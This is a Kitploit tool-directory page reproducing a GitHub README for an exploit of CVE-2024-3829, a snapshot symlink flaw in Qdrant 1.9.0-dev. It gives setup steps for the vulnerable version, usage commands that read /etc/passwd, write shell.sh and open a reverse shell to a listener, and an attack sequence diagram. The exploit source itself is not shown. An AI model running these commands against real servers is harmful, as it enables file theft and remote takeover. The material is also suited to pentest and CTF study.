Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-3829 — CVE-2024-3829 | Kitploit
Tools/GitHubGitHub/fabse-hack/cve-2024-3829
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingPayload Development
GitHubfabse-hack/cve-2024-3829

CVE-2024-3829

CVE-2024-3829

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-3829 for Qdrant - Exploit

root@kitploit:~
 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

This repository documents and demonstrates CVE-2024-3829 for qdrant/qdrant (v1.9.0-dev)

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3829
  • More information and idea for this repository:
  • Huntr: https://huntr.com/bounties/abd9c906-75ee-4d84-b76d-ce1386401e08
  • incibe: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-3584
  • GitHub: https://github.com/qdrant/qdrant/commit/15479a45ffa3b955485ae516696f7e933a8cce8a

Support & Donate

Paypal:

Buy Me a Coffee:

Overview

The vulnerability allows manipulation of snapshot archives via symlink/path tricks. This enables two impact classes and an reverse shell hahhaa:

  1. File read
  2. File write
  3. Execute reverse shell

Depending on the environment, file-write primitives may escalate toward code execution.

Affected Software (see it on NVD link)

  • Product: Qdrant
  • Version: 1.9.0-dev
  • Component: Snapshot Import/Export

Note to the version number:

This version is not longer available in the world wide web (some people calling it "internet").
In the repository of qdrant, the NVD Nist report pointed to the commit, that's the vulnable v1.9.0-dev.
If you want to install this version for CTF / other things on a docker, use:

root@kitploit:~
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln

Workflow (Simplified)

  1. Create a collection
  2. Generate a snapshot
  3. Unpack and modify the snapshot locally
  4. Inject a symlink into the archive read/write target
  5. Upload the modified snapshot
  6. Trigger snapshot recovery
  7. Evaluate the result read file content / write file / exectute reverse shell

Repository Content

  • cve_2024_3829.py - Exploit for read/write/trigger workflow
  • requirements.txt - Python dependencies

Requirements

  • Kali Linux System recommanded
  • Python 3.10+
  • Running Qdrant server for local testing
  • Python package requests

Installation:

root@kitploit:~
python3 -m pip install -r requirements.txt

Usage

Show all options:

root@kitploit:~
python3 cve_2024_3829.py -h

Examples:

root@kitploit:~
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

Available Parameters

  • -h, --help: show CLI help
  • -m, --mode: one of read, write, reverse_shell (required)
    target paramters:
  • -tu, --target_url: Qdrant base URL (default in script)
  • -tp, --target_port: target Qdrant port (default: 6333)
  • -tpath, --target_path: remote target path (default: /etc/)

Notes

  • --target_url should be the base URL without trailing port if you pass --target_port separately, because the script builds URLs as <url>:<target_port>/....
  • In read mode, the script combines --target_path and --target_file_name (for example /etc/ + passwd).
  • In write mode, --attacker_path should point to an existing local file and --attacker_file_name defines the remote file name.
  • For network tests across Docker/WSL/host boundaries, verify reachability first (for example with netcat) before running trigger mode.
root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Exploit
    participant Target
    participant Listener

    Attacker->>Exploit: Start exploit script
    Exploit->>Listener: Start TCP listener
    Exploit->>Target: Create malicious collection
    Exploit->>Target: Upload trigger script
    Exploit->>Target: Overwrite executable
    Exploit->>Target: Call /stacktrace endpoint
    Target->>Listener: Reverse shell connection
    Listener->>Attacker: Interactive shell access
root@kitploit:~
flowchart TD
    Start[Start Listener]
    Bind[Bind to attacker port]
    Listen[Wait for connection]
    Accept[Accept incoming connection]
    Interactive[Interactive shell session]
    End[Connection closed]

    Start --> Bind
    Bind --> Listen
    Listen --> Accept
    Accept --> Interactive
    Interactive --> End
Download Tool
  • -tf, --target_file_name: remote target file name (default: passwd)
    attacker paramters:
  • -ai, --attacker_ip: callback/listener IP for reverse shell mode
  • -ap, --attacker_port: callback/listener port (default: 9001)
  • -apath, --attacker_path: local attacker file path for write mode (default: /tmp/)
  • -af, --attacker_file_name: file name used on target in write mode (default: shell.sh)